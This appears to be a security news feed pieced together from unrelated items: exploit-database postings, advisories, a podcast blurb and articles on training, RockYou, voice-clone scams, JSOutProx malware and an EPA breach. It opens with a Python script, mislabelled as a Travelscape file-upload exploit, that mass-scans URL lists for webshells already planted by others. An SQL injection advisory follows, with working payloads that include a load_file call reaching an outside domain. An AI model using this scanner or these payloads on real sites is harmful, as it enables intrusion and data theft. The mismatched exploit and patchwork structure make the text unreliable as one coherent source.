WordPress Travelscape theme version 1.0.3 suffers from an arbitrary file upload vulnerability.

    # Exploit Title: Wordpress Theme Travelscape v1.0.3 - Arbitrary File Upload# Date: 2024-04-01# Author: Milad Karimi (Ex3ptionaL)# Category : webapps# Tested on: windows 10 , firefoximport sysimport os.pathimport requestsimport reimport urllib3from requests.exceptions import SSLErrorfrom multiprocessing.dummy import Pool as ThreadPoolfrom colorama import Fore, initinit(autoreset=True)error_color = Fore.REDinfo_color = Fore.CYANsuccess_color = Fore.GREENhighlight_color = Fore.MAGENTArequests.urllib3.disable_warnings()headers = {    'Connection': 'keep-alive',    'Cache-Control': 'max-age=0',    'Upgrade-Insecure-Requests': '1',    'User-Agent': 'Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M;wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107Mobile Safari/537.36',    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',    'Accept-Encoding': 'gzip, deflate',    'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8',    'Referer': 'www.google.com'}def URLdomain(url):    if url.startswith("http://"):        url = url.replace("http://", "")    elif url.startswith("https://"):        url = url.replace("https://", "")    if '/' in url:        url = url.split('/')[0]    return urldef check_security(url):    fg = success_color    fr = error_color    try:        url = 'http://' + URLdomain(url)        check = requests.get(url +'/wp-content/themes/travelscape/json.php', headers=headers,allow_redirects=True, timeout=15)        if 'MSQ_403' in check.text:            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))            open('MSQ_403.txt', 'a').write(url +'/wp-content/themes/travelscape/json.php\n')        else:            url = 'https://' + URLdomain(url)            check = requests.get(url +'/wp-content/themes/aahana/json.php', headers=headers,allow_redirects=True, verify=False, timeout=15)            if 'MSQ_403' in check.text:                print(' -| ' + url + ' --> {}[Successfully]'.format(fg))                open('MSQ_403.txt', 'a').write(url +'/wp-content/themes/aahana/json.php\n')            else:                print(' -| ' + url + ' --> {}[Failed]'.format(fr))        check = requests.get(url + '/wp-content/themes/travel/issue.php',headers=headers, allow_redirects=True, timeout=15)        if 'Yanz Webshell!' in check.text:            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))            open('wso.txt', 'a').write(url +'/wp-content/themes/travel/issue.php\n')        else:            url = 'https://' + URLdomain(url)        check = requests.get(url + '/about.php', headers=headers,allow_redirects=True, timeout=15)        if 'Yanz Webshell!' in check.text:            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))            open('wso.txt', 'a').write(url + '/about.php\n')        else:            url = 'https://' + URLdomain(url)        check = requests.get(url +'/wp-content/themes/digital-download/new.php', headers=headers,allow_redirects=True, timeout=15)        if '#0x2525' in check.text:            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))            open('digital-download.txt', 'a').write(url +'/wp-content/themes/digital-download/new.php\n')        else:            print(' -| ' + url + ' --> {}[Failed]'.format(fr))            url = 'http://' + URLdomain(url)        check = requests.get(url + '/epinyins.php', headers=headers,allow_redirects=True, timeout=15)        if 'Uname:' in check.text:            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))            open('wso.txt', 'a').write(url + '/epinyins.php\n')        else:            print(' -| ' + url + ' --> {}[Failed]'.format(fr))            url = 'https://' + URLdomain(url)        check = requests.get(url + '/wp-admin/dropdown.php',headers=headers, allow_redirects=True, verify=False, timeout=15)        if 'Uname:' in check.text:            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))            open('wso.txt', 'a').write(url + '/wp-admin/dropdown.php\n')        else:            url = 'https://' + URLdomain(url)            check = requests.get(url +'/wp-content/plugins/dummyyummy/wp-signup.php', headers=headers,allow_redirects=True, verify=False, timeout=15)            if 'Simple Shell' in check.text:                print(' -| ' + url + ' --> {}[Successfully]'.format(fg))                open('dummyyummy.txt', 'a').write(url +'/wp-content/plugins/dummyyummy/wp-signup.php\n')            else:                print(' -| ' + url + ' --> {}[Failed]'.format(fr))    except Exception as e:        print(f' -| {url} --> {fr}[Failed] due to: {e}')def main():    try:        url_file_path = sys.argv[1]    except IndexError:        url_file_path = input(f"{info_color}Enter the path to the filecontaining URLs: ")        if not os.path.isfile(url_file_path):            print(f"{error_color}[ERROR] The specified file path isinvalid.")            sys.exit(1)    try:        urls_to_check = [line.strip() for line in open(url_file_path, 'r',encoding='utf-8').readlines()]    except Exception as e:        print(f"{error_color}[ERROR] An error occurred while reading thefile: {e}")        sys.exit(1)    pool = ThreadPool(20)    pool.map(check_security, urls_to_check)    pool.close()    pool.join()    print(f"{info_color}Security check process completed successfully.Results are saved in corresponding files.")if __name__ == "__main__":    main()

WordPress Travelscape Theme 1.0.3 Arbitrary File Upload

### Impact

When a authentificated request is made to `POST /store-api/account/logout`, the cart will be cleared, but the User won't be logged out. This affects only the direct store-api usage, as the PHP Storefront listens additionally on `CustomerLogoutEvent` and invalidates the session additionally. 

### Patches
The problem has been fixed with Shopware 6.6.1.0 and 6.5.8.8.

### Workarounds
When you are not able to update, you can install the latest version of the Shopware Security Plugin.


1.  GitHub Advisory Database
2.  GitHub Reviewed
3.  CVE-2024-31447

**Shopware Improper Session Handling in store-api account logout**

Moderate severity GitHub Reviewed Published Apr 8, 2024 in shopware/shopware • Updated Apr 8, 2024

**Package**

composer shopware/core (Composer)

**Affected versions**

\>= 6.3.5.0, < 6.5.8.8

\>= 6.6.0.0-rc1, < 6.6.1.0

**Patched versions**

6.5.8.8

6.6.1.0

\>= 6.3.5.0, < 6.5.8.8

\>= 6.6.0.0-rc1, < 6.6.1.0

**Impact**

When a authentificated request is made to POST /store-api/account/logout, the cart will be cleared, but the User won't be logged out. This affects only the direct store-api usage, as the PHP Storefront listens additionally on CustomerLogoutEvent and invalidates the session additionally.

**Patches**

The problem has been fixed with Shopware 6.6.1.0 and 6.5.8.8.

**Workarounds**

When you are not able to update, you can install the latest version of the Shopware Security Plugin.

**References**

*   GHSA-5297-wrrp-rcj7
*   shopware/shopware@5cc84dd
*   shopware/shopware@d29775a

Published to the GitHub Advisory Database

Apr 8, 2024

GHSA-5297-wrrp-rcj7: Shopware Improper Session Handling in store-api account logout

An issue was discovered in OFPMatch in parser.py in Faucet SDN Ryu version 4.34, allows remote attackers to cause a denial of service (DoS) (infinite loop).

**Ryu Infinite Loop vulnerability**

High severity GitHub Reviewed Published Apr 8, 2024 to the GitHub Advisory Database • Updated Apr 8, 2024

GHSA-p28x-hj68-7vfp: Ryu Infinite Loop vulnerability

This week on the Lock and Code podcast, we re-air an episode with guest Alec Muffett about online age verification.

_This week on the Lock and Code podcast…_

A digital form of protest could become the go-to response for the world’s largest porn website as it faces increased regulations: Not letting people access the site.

In March, PornHub blocked access to visitors connecting to its website from Texas. It marked the second time in the past 12 months that the porn giant shut off its website to protest new requirements in online age verification.

The Texas law, which was signed in June 2023, requires several types of adult websites to verify the age of their visitors by either collecting visitors’ information from a government ID or relying on a third party to verify age through the collection of multiple streams of data, such as education and employment status.

PornHub has long argued that these age verification methods do not keep minors safer and that they place undue onus on websites to collect and secure sensitive information.

The fact remains, however, that these types of laws are growing in popularity.

Today, Lock and Code revisits a prior episode from 2023 with guest Alec Muffett, discussing online age verification proposals, how they could weaken security and privacy on the internet, and whether these efforts are oafishly trying to solve a societal problem with a technological solution.

“The battle cry of these people have has always been—either directly or mocked as being—’Could somebody think of the children?’” Muffett said. “And I’m thinking about the children because I want my daughter to grow up with an untracked, secure private internet when she’s an adult. I want her to be able to have a private conversation. I want her to be able to browse sites without giving over any information or linking it to her identity.”

Muffett continued:

> “I’m trying to protect that for her. I’d like to see more people grasping for that.”
> 
> Alec Muffett

Tune in today to listen to the full conversation.

_Show notes and credits:_

Intro Music: “Spellbound” by Kevin MacLeod (incompetech.com)  
Licensed under Creative Commons: By Attribution 4.0 License  
http://creativecommons.org/licenses/by/4.0/  
Outro Music: “Good God” by Wowa (unminus.com)

**Listen up—Malwarebytes doesn’t just talk cybersecurity, we provide it.**

Protect yourself from online attacks that threaten your identity, your files, your system, and your financial well-being with our exclusive offer for Malwarebytes Premium for Lock and Code listeners.

 Porn panic imperils privacy online, with Alec Muffett (re-air): Lock and Code S05E08 

Investing in cybersecurity skills creates a safer digital world for everyone.

Source: Mopic via Alamy Stock Photo

COMMENTARY

The recent movie The Beekeeper begins with a cyberattack against a victim unfamiliar with the tactics and techniques attackers use in today's technology-driven world. The film's protagonist, Adam Clay, played by Jason Statham, then goes on a digital vendetta to find the responsible adversaries and ensure they can't continue extorting victims through common cybercrimes.

As much as our security teams would love to do threat hunting like Clay, we lack the physical physique and combat skills. And we know spreading awareness is a far more effective approach. Keeping the workforce fully educated can be a monumental task. However, it's the one thing that can entirely mitigate threats that target individuals. Some of the new ways of training involve old techniques.

**Adaptable > Repeatable**

In cybersecurity, technology operates predictably, but humans do not. As security professionals, we need help remembering this. The distinction underscores the need for person-led training during an employee's onboarding. Interactive training acknowledges human complexity, emphasizing the importance of adaptability in response to new threats and individual learning styles. Unlike automated training, person-led approaches can quickly adjust to address unique challenges and learner needs, making them more effective in promoting a deep understanding of security practices.

How quickly can your organization adapt to AI-based threats? Since human error accounts for almost 90% of all data breaches, organizations that prioritize their work and resources on risk will have a difficult time finding anything more important than an educated workforce. Train people with people. Use security champions if your team needs more resources or has time zone constraints. But overall, try to do something other than automate the process. 

**Build Storytellers**

Creating a solid cybersecurity culture involves enabling employees to share their personal experiences with security issues openly. Most people have learned their most valuable security lessons based on stories from other people. Sharing security stories may not come naturally to employees, and we need to teach and promote this behavior. During training, ask employees to discuss how cybersecurity has personally affected them in the past. Ask them about their familiarity with safe password hygiene or social media posts. This open-discussion initiative can help them feel at ease with the topic and understand that the organization encourages it. 

**Test the Response**

Implementing specific tests and monitoring employee behavior is essential to gauge the effectiveness of a security program. We know new employees will receive the fake text message from the CEO requesting gift card purchases. Try a simple smishing or phishing simulation with new employees to see if they proactively reach out after detecting the attempt. If employees actively communicate with each other about phishing campaigns, share security-related news, or discuss various security topics, it shows they have a sense of confidence and proper education in cybersecurity. This level of engagement and vigilance among staff members highlights the program's effectiveness in fostering a proactive security culture. When you see it, be quick to reward it. 

**Conclusion**

Unlike The Beekeeper, we won't be able to hunt down the adversaries and kick some butt. Instead, developing a robust security culture through awareness is our fight against cybercrime. Encouraging employees to share their experiences with security enables a sense of community and vigilance. Personalized training plays a critical role in this ecosystem. It's not just about delivering information; it's about tailoring the learning process to meet diverse needs and respond to emerging threats. We can assess how prepared our employees are to identify and counteract potential threats through testing.

The benefits of these strategies extend beyond the office walls. We're not merely educating our workforce; we're equipping them with knowledge that transcends the professional environment. This empowerment boosts their confidence, making them safer and more adept Internet users, at work and in their personal lives. By investing in their cybersecurity skills, we're contributing to a safer digital world for everyone.

The Fight for Cybersecurity Awareness

UP-RESULT version 0.1 2024 suffers from a remote SQL injection vulnerability.

    ## Title: upresult_0.1-2024 Multiple-SQLi## Author: nu11secur1ty## Date: 04/08/2024## Vendor: https://www.mayurik.com/## Software: https://www.sourcecodester.com/php/15653/best-student-result-management-system-project-source-code-php-and-mysql-free-download## Reference: https://portswigger.net/web-security/sql-injection## Description:The nid parameter appears to be vulnerable to SQL injection attacks.The payload '+(selectload_file('\\\\qiccs55u6nnh6lxma520zou8ozusijm7da11orcg.tupaputka.com\\tuh'))+'was submitted in the nid parameter. This payload injects a SQLsub-query that calls MySQL's load_file function with a UNC file paththat references a URL on an external domain. The applicationinteracted with that domain, indicating that the injected SQL querywas executed.The attacker can get all information from the system by using thisvulnerability!STATUS: HIGH- Vulnerability[+]Payload:```mysql---Parameter: nid (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: nid=145448807' or '1766'='1766' AND 2997=2997 AND 'IBFU'='IBFU    Type: stacked queries    Title: MySQL >= 5.0.12 stacked queries (comment)    Payload: nid=145448807' or '1766'='1766';SELECT SLEEP(7)#    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: nid=145448807' or '1766'='1766' AND (SELECT 3474 FROM(SELECT(SLEEP(7)))eAdm) AND 'ubZR'='ubZR    Type: UNION query    Title: MySQL UNION query (NULL) - 4 columns    Payload: nid=145448807' or '1766'='1766' UNION ALL SELECTNULL,NULL,CONCAT(0x716a767871,0x76504a4f6455624669506c6a484150727767554e66574d7856554875684368426b4f72794374496e,0x716b787071),NULL#---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2024/upresult_0.1-2024)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2024/04/upresult01-2024-multiple-sqli.html)## Time spent:00:15:00

UP-RESULT 0.1 2024 SQL Injection

By Daily Contributors
Today over at Resonance Security I am going to look at one of the more unusual ways in…
This is a post from HackRead.com Read the original post: The Legacy of a Security Breach

This article was authored and contributed by Keir Finlow-Bates, a passionate blockchain enthusiast and technologist.

Today over at Resonance Security I am going to look at one of the more unusual ways in which your approach to computer security can lead to an increase in public awareness of your company.

There are many motivations for starting a company: becoming wealthy, doing something interesting and useful, and leaving some kind of legacy or mark on history are three of the main ones that spring to mind.

About that legacy: imagine having the name of your corporation attached to a file representing one of the most significant hacks of the 21st century!

That’s quite notable, but probably not what the founders of one particular company were looking for with their startup.

****We won’t rock you****

In the middle of the 2000s, RockYou, Inc. was doing well as a widget-maker for social media companies like MySpace and Facebook. However, back in 2009, it suffered a data breach in which a hacker discovered an SQL database server with an unpatched ten-year-old bug, the database containing over 32 million usernames and passwords for user accounts.

That’s right — 32 million usernames, and their associated passwords. For comparison, that’s about 10% of the active monthly users that Facebook had at the time.

The passwords were stored in plain text.

****Mud on your face, big disgrace****

Not only did RockYou initially fail to notify their users, but it subsequently released a falsified official statement claiming that the breach was less severe than it was.

To be clear: it was a very, very serious breach.

A decade and a half ago, people were far worse at password security than they are now. Password managers were almost unheard of, for some unexplained bizarre reason some sites blocked the use of password managers for unspecified “security reasons”, and two-factor authentication was pretty much only affordable and available to business users.

Because people were told not to write down their passwords, this meant that most of the leaked credentials were being used on other websites. After all, who in their right mind is going to memorize twenty or thirty different random passwords? As a result, sites such as banks, online stores, health databases, social media, supposedly private online journals, and online games held accounts using the same passwords.

****The legacy****

For years the full list of RockYou passwords has been available to download by anyone. It is typically found in a file called rockyou.txt , and there are plenty of GitHub repositories out there where you can find it.

In Kali Linux, a Linux distribution designed and produced specifically for penetration testing, the RockYou text file is included during the installation by default.

****Conclusion****

Just imagine — with a little bit of security carelessness, you too can take your modestly successful company and in the process of destroying it, allow its name to live on forever.

Have we learned anything since 2009? Not always.

For example: in 2017 it was revealed that an old social media site called LiveJournal, dating back to the 90s (but still running to this day), suffered a breach in which 26 million unique usernames, email addresses, and plaintext passwords were extracted. It took them until 2019 to admit to the breach.

That’s right — passwords were still being stored in plaintext in 2017, and I would bet good money on there being more sites out are doing the same, even though we are a decade and a half on from the original RockYou breach.

I predict that the leakage of passwords will only end once we stop using passwords, and start using improved systems such as security keys and self-managed identity for our authentication systems.

In the meantime, you have to assume that any password you provide to a website will eventually be leaked, therefore:

*   use a password manager to generate long, random, unique passwords for your accounts,
*   protect access to the password manager with two-factor authentication, and
*   make sure the password you use for your password manager has never been used anywhere else.

****Post-script****

Don’t run off and look for a website that allows you to enter your password and see if it was ever revealed in a breach! I can guarantee it will be a phishing site. Instead, I recommend HaveIBeenPwned, where you can type in your email address, and retrieve a list of the companies and websites that have managed to leak your credentials to the dark web through bad security practices. Another option is the Resonance Data Leak Detector, which monitors if your credentials have been leaked 24/7 and automatically notifies you.

****About Resonance Security****

Resonance Security is a curated platform for end-to-end cybersecurity products and services. It functions as a concierge for your organization’s end-to-end cyber-security needs, aggregating valuable security offerings into one platform to spread awareness on what it takes to secure your technology stack end-to-end.

I’m Keir Finlow-Bates, often known as Blockchain Gandalf, and am primarily a blockchain researcher and inventor. I started on this journey in late 2010 by examining the original Bitcoin code, and have been obsessed with blockchain ever since.

I am also the author of two books on the topic: Move Over Brokers Here Comes The Blockchain, explaining blockchain, and Evil Tokenomics, illustrating through practical examples how web3 scams work. You can find more at my website: Thinklair.com

1.  The Forgotten Victims of Data Breach
2.  Solving the Cyber Security Problem: Mission Impossible
3.  Will good prevail over bad as bots battle for the internet?
4.  If a Cyber Security Report Falls in a Forest, Is Anyone Listening?

The Legacy of a Security Breach

AI tools are getting better at cloning people’s voices, and scammers are using these new capabilities to commit fraud. Avoid getting swindled by following these expert tips.

You answer a random call from a family member, and they breathlessly explain how there’s been a horrible car accident. They need you to send money right now, or they’ll go to jail. You can hear the desperation in their voice as they plead for an immediate cash transfer. While it sure sounds like them, and the call came from their number, you feel like something’s off. So, you decide to hang up and call them right back. When your family member picks up your call, they say there hasn’t been a car crash, and that they have no idea what you’re talking about.

Congratulations, you just successfully avoided an artificial intelligence scam call.

As generative AI tools get more capable, it is becoming easier and cheaper for scammers to create fake—but convincing—audio of people’s voices. These AI voice clones are trained on existing audio clips of human speech, and can be adjusted to imitate almost anyone. The latest models can even speak in numerous languages. OpenAI, the maker of ChatGPT, recently announced a new text-to-speech model that could further improve voice cloning and make it more widely accessible.

Of course, bad actors are using these AI cloning tools to trick victims into thinking they are speaking to a loved one over the phone, even though they’re talking to a computer. While the threat of AI-powered scams can be frightening, you can stay safe by keeping these expert tips in mind the next time you receive an urgent, unexpected call.

**Remember That AI Audio Is Hard to Detect**

It’s not just OpenAI; many tech startups are working on replicating near perfect-sounding human speech, and the recent progress is rapid. “If it were a few months ago, we would have given you tips on what to look for, like pregnant pauses or showing some kind of latency,” says Ben Colman, cofounder and CEO of Reality Defender. Like many aspects of generative AI over the past year, AI audio is now a more convincing imitation of the real thing. Any safety strategies that rely on you audibly detecting weird quirks over the phone are outdated.

**Hang Up and Call Back**

Security experts warn that it’s quite easy for scammers to make it appear as if the call were coming from a legitimate phone number. “A lot of times scammers will spoof the number that they're calling you from, make it look like it's calling you from that government agency or the bank,” says Michael Jabbara, global head of fraud services at Visa. “You have to be proactive.” Whether it’s from your bank or from a loved one, any time you receive a call asking for money or personal information, go ahead and ask to call them back. Look up the number online or in your contacts, and initiate a follow-up conversation. You can also try sending them a message through a different, verified line of communication like video chat or email.

**Create a Secret Safe Word**

A popular security tip that multiple sources suggested was to craft a safe word that only you and your loved ones know about, and which you can ask for over the phone. “You can even prenegotiate with your loved ones a word or a phrase that they could use in order to prove who they really are, if in a duress situation,” says Steve Grobman, chief technology officer at McAfee. Although calling back or verifying via another means of communication is best, a safe word can be especially helpful for young ones or elderly relatives who may be difficult to contact otherwise.

**Or Just Ask What They Had for Dinner**

What if you don’t have a safe word decided on and are trying to suss out whether a distressing call is real? Pause for a second and ask a personal question. “It could even be as simple as asking a question that only a loved one would know the answer to,” says Grobman. “It could be, ‘Hey, I want to make sure this is really you. Can you remind me what we had for dinner last night?’” Make sure the question is specific enough that a scammer couldn’t answer correctly with an educated guess.

**Understand Any Voice Can Be Mimicked**

Deepfake audio clones aren’t just reserved for celebrities and politicians, like the calls in New Hampshire that used AI tools to sound like Joe Biden and to discourage people from going to the polls. “One misunderstanding is, ‘It cannot happen to me. No one can clone my voice,’” says Rahul Sood, chief product officer at Pindrop, a security company that discovered the likely origins of the AI Biden audio. “What people don’t realize is that with as little as five to 10 seconds of your voice, on a TikTok you might have created or a YouTube video from your professional life, that content can be easily used to create your clone.” Using AI tools, the outgoing voicemail message on your smartphone might even be enough to replicate your voice.

**Don’t Give in to Emotional Appeals**

Whether it’s a pig butchering scam or an AI phone call, experienced scammers are able to build your trust in them, create a sense of urgency, and find your weak points. “Be wary of any engagement where you’re experiencing a heightened sense of emotion, because the best scammers aren’t necessarily the most adept technical hackers,” says Jabbara. “But they have a really good understanding of human behavior.” If you take a moment to reflect on a situation and refrain from acting on impulse, that could be the moment you avoid getting scammed.

AI Scam Calls: How to Protect Yourself, How to Detect

An ongoing cyberattack campaign with apparent ties to China uses a new version of sophisticated JavaScript remote access Trojan JSOutProx and is now targeting banks in the Middle East.

Source: Irina Shi via Shutterstock

The sophisticated threat group behind a complex JavaScript remote access Trojan (RAT) known as JSOutProx has released a new version of the malware to target organizations in the Middle East.

Cybersecurity services firm Resecurity analyzed technical details of multiple incidents involving the JSOutProx malware targeting financial customers and delivering either a fake SWIFT payment notification if targeting an enterprise, or a MoneyGram template when targeting private citizens, the company wrote in a report published this week. The threat group has targeted government organizations in India and Taiwan, as well as financial organizations in the Philippines, Laos, Singapore, Malaysia, India — and now Saudi Arabia.

The newest version of JSOutProx is a very flexible and well-organized program from a development perspective, allowing the attackers to tailor is functionality for the victim's specific environment, says Gene Yoo, CEO of Resecurity.

"It's a malware implant with multiple stages, and it has multiple plug-ins," he says. "Depending on the victim's environment, it goes right in and then actually bleeds them or poisons the environment, depending on what plug-ins are enabled."

The attacks are the latest campaign by a cybercriminal group known as Solar Spider, which appears to be the only group using the JSOutProx malware. Based on the group's targets — typically organizations in India, but also in the Asia-Pacific, Africa, and Middle East regions — it's likely linked to China, Resecurity stated in its analysis.

"By profiling the targets, and some of the details that we obtained in the infrastructure, we suspect that it's related to China," Yoo says.

**"Highly Obfuscated ... Modular Plug-in"**

JSOutProx is well known in the financial industry. Visa, for example, documented campaigns using the attack tool in 2023, including one pointed at several banks in the Asia-Pacific region, the company stated in its Biannual Threats Report published in December.

The remote access Trojan (RAT) is a "highly obfuscated JavaScript backdoor, which has modular plugin capabilities, can run shell commands, download, upload, and execute files, manipulate the file system, establish persistence, take screenshots, and manipulate keyboard and mouse events," Visa stated in its report. "These unique features allow the malware to evade detection by security systems and obtain a variety of sensitive payment and financial information from targeted financial institutions.

JSOutProx typically appears as a PDF file of a financial document in a zip archive. But really, it's JavaScript that executes when a victim opens the file. The first stage of the attack collects information on the system and communicates with command-and-control servers obfuscated via dynamic DNS. The second stage of the attack downloads any of some 14 plug-ins to conduct further attacks, including gaining access to Outlook and the user's contact list, and enabling or disabling proxies on the system.

The RAT downloads plugins from GitHub — or more recently, GitLab — to appear legitimate.

"The discovery of the new version of JSOutProx, coupled with the exploitation of platforms like GitHub and GitLab, emphasizes these malicious actors’ relentless efforts and sophisticated consistency," Resecurity said in its analysis.

**Monetizing Data From Middle East Financials**

Once Solar Spider compromises a user, the attackers collect information, such as primary account numbers and user credentials, and then conduct a variety of malicious actions against the victim, according to Visa's threat report.

"The JSOutProx malware poses a serious threat to financial institutions around the world, and especially those in the AP region as those entities have been more frequently targeted with this malware," the Visa report stated.

Companies should educate employees about how to handle unsolicited, suspicious correspondence to mitigate the threat of the malware, Visa stated. In addition, any instance of the malware must be investigated and completely remediated to prevent reinfection.

Bigger companies and government agencies are more likely to be attacked by the group because Solar Spider has its sights on the most successful firms, Resecurity's Yoo says. For the most part, however, companies don't have to take threat-specific steps but instead focus on defense-in-depth strategies, he says.

"The user should focus on not looking at the shiny object in the sky, like the Chinese are attacking, but on what they need to do is create a better foundation," Yoo says. "Having good patching, network segmentation, and vulnerability management. If you do that, then none of this would" likely impact your users.

**About the Author(s)**

Veteran technology journalist of more than 20 years. Former research engineer. Written for more than two dozen publications, including CNET News.com, Dark Reading, MIT's Technology Review, Popular Science, and Wired News. Five awards for journalism, including Best Deadline Journalism (Online) in 2003 for coverage of the Blaster worm. Crunches numbers on various trends using Python and R. Recent reports include analyses of the shortage in cybersecurity workers and annual vulnerability trends.

Solar Spider Spins Up New Malware to Entrap Saudi Arabian Financial Firms

By Waqas
Another day, another data breach targeting critical infrastrcuture in the United States!
This is a post from HackRead.com Read the original post: US Environmental Protection Agency Allegedly Hacked, 8.5M User Data Leaked

The U.S. Environmental Protection Agency (EPA) is suffering a major data breach allegedly by a hacker known as USDoD. The breach, affecting over 8.5 million users, raises concerns about identity theft, cyber espionage, and the chilling effect on environmental reporting.

The U.S. Environmental Protection Agency (EPA) is facing a significant security breach, carried out by a hacker operating under the alias USDoD. This alleged breach has resulted in the exposure of personal and sensitive information belonging to more than 8.5 million users, including both customers and contractors.

The data breach was brought to light on the morning of Sunday, April 7, 2024. Notably, USDoD has a history of engaging in high-profile data breaches, with previous incidents including the exposure of data from **87,000 members of InfraGard**, a sensitive security program funded by the FBI and dedicated to safeguarding critical infrastructure in the United States.

> _“Hello Breachforums, this is your favorite TA and today Im proud to say that Im releasing epa.gov database of contact list. This is their entire contact of Critical Infra not only for the USA but for the entire globe.”_
> 
> USDoD

Regarding the alleged data breach at the EPA, the hacker claims that they have successfully compromised and leaked the entire database of the agency. Analysis conducted by Hackread.com indicates that the data provided by USDoD appears to be legitimate; however, conclusive verification can only be provided by the U.S. Environmental Protection Agency.

USDoD on Breach Forums (Screenshot credit: Hackread.com)

Meanwhile, a review of the leaked file reveals a 500MB Zip archive containing three CSV files labelled “Contact,” “Inter\_Contact,” and “Staff.” An assessment of these files reveals the presence of the following information:

****Contact File (3,726,130 Records)****

*   Zipcodes
*   Full names
*   Fax numbers
*   Phone numbers
*   Email addresses
*   Mailing addresses
*   Country, city, States

****Inter\_Contact File (9,952,374 Records)****

*   Zipcodes
*   Full names
*   Phone numbers
*   Email addresses
*   Email domains
*   Country, City, State
*   Company name and address

****Staff File (3,325,973 Records)****

*   Zipcodes
*   Fill names
*   Job titles
*   Company names
*   Email addresses
*   Business Addresses
*   Phone numbers
*   Related industries
*   Country, city and States

Following the removal of duplicate records, the total number of accounts involved in the breach stands at nearly 8.5 million, specifically 8,460,182. Hackread.com has notified the U.S. Environmental Protection Agency (EPA) and CISA regarding the data breach. Any response received from either of the agencies will lead to an update to this article.

Screenshot from the leaked data (Credit: Hackread.com)

****The Good and Bad news****

The good news amidst this breach is the absence of passwords. However, the seriousness of the situation can be understood by the fact that the leaked data is now circulating within Russian hacker and cybercrime forums. This development not only opens doors for state-sponsored cyber espionage but also poses serious risks of identity theft, phishing scams, and targeted marketing campaigns.

Furthermore, the exposure of information regarding facilities or individuals reporting environmental violations raises serious concerns. Such disclosures could potentially deter future reporting and impede the EPA’s effectiveness in enforcing regulatory measures.

****Devastating** **First Quarter of 2024 for US So Far****

The first quarter of 2024 has proven to be quite challenging for the United States, a nation that holds influential global power and consequently becomes an attractive target for cybercriminals. Despite **ongoing efforts to strengthen its critical infrastructure**, the country has faced a surge in successful cyber attacks, resulting in widespread disruption and compromise.

In January, EquiLend, a prominent financial technology firm, fell victim to a large-scale ransomware attack. As a result, **it was confirmed that** the incident also led to a data breach, exposing sensitive employee information.

March witnessed the cyber attack from **IntelBroker hacker against Acuity Inc**., a federal contractor, resulting in the exposure of critical records belonging to U.S. Citizenship and Immigration Services (USCIS) and U.S. Immigration and Customs Enforcement (ICE). Although initially denied, Acuity Inc. eventually **acknowledged the hack**.

**In February**, the same hacker targeted the security of Los Angeles International Airport, compromising the personal data of 2.5 million private plane owners. Shortly thereafter, **in March**, American Express disclosed a significant data breach involving third-party contractors, impacting its cardholders.

The latest alleged data breach occurred **on April 4, 2024**, when the IntelBroker hacker leaked personal data belonging to over 22,000 Home Depot employees on BreachForums.

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